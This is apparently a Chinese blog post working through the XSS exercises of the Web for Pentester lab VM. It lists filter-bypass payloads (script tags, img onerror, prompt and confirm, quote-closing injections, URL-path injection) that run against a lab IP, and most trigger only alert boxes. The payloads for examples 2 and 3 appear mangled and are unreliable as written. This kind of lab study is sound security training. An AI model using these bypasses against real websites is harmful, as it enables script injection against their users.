web for pentester 1学习之xss
关于xss(跨站脚本攻击的具体介绍和实现方式以及防御等,请看:
https://blog.csdn.net/weixin_40950781/article/details/100007103
关于web for pentester的安装:
web for pentester是国外开发的一款靶机,其相对dvwa各有优缺点,给本人的感受是,dvwa相对
较基础一点,web for pentester相对提高了一点难度,建议先学习dvwa。
1.镜像:链接:https://pan.baidu.com/s/1dwUAfJy4nHYb4qmZss4ilQ 提取码:mr2w
2.安装:在虚拟机中,选择安装Debian的系统即可,没有什么复杂的,配置好后能访问即可。
0x01 example.1
一般情况下,低级别都没有进行过滤,直接使用xss标准
payload:<script>alert("xxx")</script>
0x02 example.2
直接使用标准xss的payload,发现并未弹窗,而是直接输出了alert(“xxx”)
极有可能是过滤了< script>标签:尝试大小写
paylo:</script>
0x03 example.3
发现大小写也不管用了,使用下双写:
payload:<scipt>
0x04 example.4
尝试标准xss的payload的变形都失效了,换标签
payload:<img src=0 onerror=alert("xxx")>
0x05 example.5
尝试上面几个example中的payload的,发现标签被过滤,而alert(“xxx”)未被过滤,使用其他弹窗函数:
payload:payload:<script>prompt("xxx")</script> //prompt:输入框
payload:<script>confirm("xxx")</script> //confirm:确认框
0x06 example.6
采用的不是直接过滤,而是传递的变量,闭合双引号:
payload: name=hacker";alert("xxx")//
或者 name=hacker";alert("xxx");"
0x07 example.7
使用常量传递参数,使用方法闭合单引号:
payload: name=hacker';alert(1);'
或者 name=hacker';alert(1)//
0x08 example.8
example.8 主要在< form>表单提交存在xss漏洞,闭合提交引号的:
payload:http://192.168.15.120/xss/example8.php/" ><script>alert(1)</script><"
0x09 example.9
example.9中使用document.write(location.hash.substring(1)):考的是利用location.hash获取url中#后面的部分,这个substring是从第一个字符取到最后,然后document.write写到页面中。
但是,火狐浏览器并没有成功。等待进一步探讨。